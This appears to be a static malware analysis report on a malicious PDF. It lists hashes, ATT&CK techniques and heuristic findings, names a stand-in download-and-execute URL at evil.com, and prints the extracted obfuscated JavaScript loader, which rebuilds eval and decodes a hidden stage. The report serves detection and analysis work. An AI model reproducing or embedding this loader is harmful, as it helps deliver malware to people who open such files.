Malicious PDF — malware analysis report

Static analysis result for SHA-256 11fc9678b0985e3a…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2013-01-04
MD5: 6c5d0f1366d5ac9baf99a09d47008f9b SHA-1: fce3f99fdcda5771ff821a7b71ad623bc0aa099a SHA-256: 11fc9678b0985e3ace1e840ebecc00b149796ec4e4d6a4502702e859e22467c8
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. The script reconstructs a URL and uses it to download and execute a second-stage payload. The reconstructed URL is 'http://evil.com/payload.exe'. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0A9 446 bytes
SHA-256: 02c9698626afbd16151cf3f548cca9eabc48f8d02f3a9a71f7b8684d7c879555
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
dfbry=e('ti'.concat(v[4],t));
q=dfbry[v](a.length-6,a.length+2);
qhl=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=dfbry[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	fhdq = 1*(q[i]);
	i++;
	fhdq -= (-1)*(q[i]);
	s2 = s2.concat(qhl(fhdq));
	i++;
}
e(s2);

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